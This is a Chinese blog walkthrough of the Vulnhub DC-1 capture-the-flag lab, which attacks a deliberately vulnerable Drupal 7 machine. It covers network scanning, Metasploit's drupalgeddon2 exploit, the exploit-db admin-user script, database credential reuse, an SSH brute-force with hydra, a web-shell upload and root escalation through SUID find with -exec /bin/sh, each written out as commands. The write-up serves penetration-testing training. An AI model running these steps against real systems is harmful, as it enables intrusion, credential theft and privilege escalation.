美文网首页信息安全专业知识CTF-Web安全
Vulnhub靶机渗透测试——DC-1

Vulnhub靶机渗透测试——DC-1

作者: 简言之_ | 来源:发表于2020-05-18 08:43 被阅读0次

    看更多:我的博客

    Vulnhub

    简介

    Vulnhub是一个提供各种漏洞环境的靶场平台,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行。每个镜像会有破解的目标,挑战的目标是获取操作系统的root权限和查看flag。

    部署方法

    官网:https://www.vulnhub.com

    1.在官网搜索你想要的镜像,然后下载【建议下载 (Mirror)版本】

    2.下载好后解压得到.ova的文件,右击选择VMware进行打开

    3.在弹出的框中,选择存放的位置,然后点击导入

    4.最后等待导入完成,然后启动该虚拟机就可以了

    DC-1__drupal

    靶机下载地址:https://download.vulnhub.com/dc/DC-1.zip

    靶机描述:DC-1 是一个专门构建的易受攻击的实验室,旨在获得渗透测试领域的经验。共有五个flag,但最终目标是拿到root目录中的flag。

    一、信息收集

    运行部署好的虚拟机,提示需要账号密码,该靶机不提供密码需要自己去渗透提权

    image-20200516125057852

    因不知道DC-1靶机的IP,所有我们需要将靶机和攻击机kali放在同一个局域网里面,将Kali的网络适配器使用桥接模式

    1.探测目标

    方法一:使用arp-scan工具

    探测同一区域中存活主机

    $ sudo arp-scan -l
    
    -l 使用网络接口
    
    image

    kali之arp-scan

    方法二:使用netdiscover工具

    探测存活主机

    $ sudo netdiscover -i eth0
    
    -i device 用于嗅探和注入数据包的网络接口
    
    image

    netdiscover用法

    方法三:使用nmap工具

    $ sudo ifconfig #查看kali的ip【192.168.0.103】
    $ nmap 192.168.0.0/24
    

    2.查看目标开放端口

    $ nmap -sV -p- 192.168.0.119
    
    -sV 用来扫描目标主机和端口上运行的软件的版本
    -p- 扫描0-65535全部端口
    
    image

    目标靶机开放了80端口,在浏览器打开该站点

    3.查看网页相关信息

    使用浏览器插件Wappalyzer,这个插件可以检测网站的CMS,框架,服务器等信息,

    可以看到该网站使用CMS为Drupal,其实在网页界面和底部都能发现是Drupal

    image

    二、漏洞查找与利用

    1.漏洞查找

    使用Metasploit搜索Drupal

    $ sudo msfdb init && msfconsole
    $ search Drupal
    

    [图片上传失败...(image-7af5c1-1589762563802)]

    image-20200516185640948

    2.漏洞利用

    优先选择上面查到模块的Rank为excellent并且时间较新的模块,这里我们使用第4个

    $ use exploit/unix/webapp/drupal_drupalgeddon2 
    $ show options
    $ set RHOSTS 192.168.0.119
    $ exploit 或者 run
    #当出现“Meterpreter session 1 opened”说明利用成功
    
    image image

    MSF之命令笔记篇

    三、Getshell

    1.获取普通shell

    meterpreter >shell
    ls
    
    image

    发现有个flag1.txt,打开看一哈

    $ cat flag1.txt
    Every good CMS needs a config file - and so do you.
    

    翻译:每一个好的CMS都需要一个配置文件,你也一样。

    百度查到Drupal的默认配置文件为 /var/www/sites/default/settings.php

    drupal7的目录结构及术语

    cat /var/www/sites/default/settings.php
    
    image

    配置文件中看到了flag2

    翻译:蛮力和字典攻击不行,唯一方法是获得访问权限(你将需要访问的)。你能用这些凭证做什么?

    同时,还有获得了数据库账号和密码

    'username' => 'dbuser',
    'password' => 'R0ck3t',
    

    2.获取交互式shell

    使用python反弹一个交互式shell,然后我们登陆数据库

    $ python -c 'import pty; pty.spawn("/bin/bash")'
    
    $ mysql -udbuser -p
    Enter password:R0ck3t
    
    image

    查看数据库,在drupaldb库users表中发现admin用户

    mysql> show databases; #[drupaldb]
    mysql> use drupaldb;
    mysql> show tables; #[users]
    mysql> select * from users;
    
    image image-20200517095356679

    可以看到admin用户的密码被加密了的,但是我们可以想办法修改密码或新增一个admin权限的用户

    方法一:修改admin用户的密码

    使用Drupal对数据库的加密方法,生成一个新密码,然后把新的密码更新到admin用户

    加密脚本位置在/var/www/scripts/password-hash.sh

    参考:忘记Drupal的管理员密码的解决办法

    $ php scripts/password-hash.sh jwt  #生成新密码jwt
    # hash:$S$D5HTFVPccZrLCEJ7CzFvPvvh5zlSRhjF6E7AZ0Wg0R.cDGjgChoX
    
    mysql> update drupaldb.users set pass="$S$D5HTFVPccZrLCEJ7CzFvPvvh5zlSRhjF6E7AZ0Wg0R.cDGjgChoX" where name="admin";
    
    image-20200517101339236 image-20200517101410076

    方法二:新增一个admin权限的用户

    在exploitdb中有一个针对Drupal 7版本的攻击脚本,可以增加一个admin权限的用户账号

    查看Drupal版本,确定Drupal版本为7.24

    $ cat /var/www/includes/bootstrap.inc | grep VERSION
    
    image-20200517130545021
    msf > searchsploit drupal
    
    image

    攻击脚本适用于7.31以下,所以适合7.24版本,可以利用漏洞增加admin权限用户

    增加有admin权限的用户:admin1/admin1

    python /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://192.168.0.100 -u admin1 -p admin1
    

    输入用户名/密码【admin/jwt或者admin1/admin1】,尝试登陆

    image

    成功登陆

    image

    在后台左上角的Find content中发现flag3

    image-20200517102352344

    flag3的信息中提到了passwd和shadow,很明显就是/etc/passwd和/etc/shadow,还提到了find、perms、-exec,这几个是提权用的。

    我们来查看哈/etc/passwd和/etc/shadow 的内容

    /etc/passwd 是一个纯文本文件。它存储用户帐户信息。它包含系统帐户的列表,为每个帐户提供一些有用的信息,如用户 ID、组 ID、主目录、shell 等

    /etc/passwd详情

    etc/shadow是/etc/passwd的影子文件,存有密码信息

    $ cat /etc/passwd
    或者
    $ tail -3 /etc/passwd  #为了方便截图,只显示文件的最后三行
    
    $ cat /etc/shadow #权限不够查看失败
    
    image

    发现有个叫flag4的账号,但是查看使用/etc/shadow失败,但是前面nmap扫描的时候发现了 ssh 服务,现在又发现了 flag4 用户,所以尝试使用hydra进行密码的暴力猜解

    sudo hydra -l flag4 -P /usr/share/wordlists/rockyou.txt.gz 192.168.0.100 ssh
    或者
    sudo hydra -l flag4 -P /usr/share/wordlists/rockyou.txt.gz ssh://192.168.0.100
    
    #ip变成192.168.0.100,是应为我重启了,靶机ip变了
    -l  指定破解的用户
    -P  指定密码字典
    ssh://ip 指定使用协议和ip地址
    
    image

    暴力密码在线破解工具Hydra详解

    使用得到用户名密码【 flag4/orange】,登录靶机

    image

    也可以用kali直接远程连接

    ssh flag4@192.168.0.100
    
    image
    $ ls
    $ cat flag4.txt
    
    image

    flag4提示flag在root目录下,在/root下发现thefinalflag.txt,但是没有读取的权限

    image

    3.上传冰蝎马获取shell

    当然你还可以利用meterperter的shell直接上传冰蝎的shell。

    meterperter> upload /home/jwt/Desktop/shell.php /var/www/shell.php
    

    然后冰蝎连接就可以了

    四、提升权限

    根据flag3和flag4都提到了find,所以下面我们利用find文件提权

    参考:Linux下用SUID提权linux提权-SUID提权find命令之exec

    SUID可以让调用者以文件拥有者的身份运行该文件,所以我们利用SUID提权的思路就是运行root用户所拥有的SUID的文件,那么我们运行该文件的时候就得获得root用户的身份了。

    #查找具有root权限的SUID的文件
    $ find / -perm -u=s -type f 2>/dev/null
    
    image

    可以看到find命令具有SUID权限,如果find以SUID权限运行,所有通过find执行的命令都会以root权限运行。

    $ touch jwt
    #查找根目录下名为jwt的文件并执行shell
    $ find / -name jwt -exec "/bin/sh" \;
    
    #-exec 参数后面跟的是command命令,它的终止是以;为结束标志的,所以这句命令后面的分号是不可缺少的,考虑到各个系统中分号会有不同的意义,所以在分号前面加反斜杠。
    
    image-20200517113343425

    可以看到已经成功提权拿到root shell,接下来就来查看最终的flag吧

    cd /root
    ls
    cat thefinalflag.txt
    
    image-20200517113640702

    到这里我们就成功获取到了5个flag,并成功走完了整个渗透流程

    五、总结

    1.扫描局域网主机

    sudo arp-scan -l 参考:kali之arp-scan

    sudo netdiscover -i eth0 参考:netdiscover用法

    nmap 192.168.0.0/24

    2.MSF使用

    参考:MSF之命令笔记篇

    3.hydra爆破

    sudo hydra -l flag4 -P /usr/share/wordlists/rockyou.txt.gz ssh://192.168.0.100

    参考:暴力密码在线破解工具Hydra详解

    4.suid提权

    参考:Linux下用SUID提权linux提权-SUID提权find命令之exec

    赞助💰

    如果你觉得对你有帮助,你可以赞助我一杯冰可乐吧!

    <table>
    <tbody>
    <tr>
    <td style="text-align:center;">支付宝支付</td>
    <td style="text-align:center;">微信支付</td>
    </tr>
    <tr>
    <td style="text-align:center;" ><img width="200" src="https://jwt1399.top/medias/reward/alipay.png"></td>
    <td style="text-align:center;"><img width="200" src="https://jwt1399.top/medias/reward/wechat.png"></td>
    </tr>
    </tbody></table>

    相关文章

      网友评论

        本文标题:Vulnhub靶机渗透测试——DC-1

        本文链接:https://www.haomeiwen.com/subject/wemyohtx.html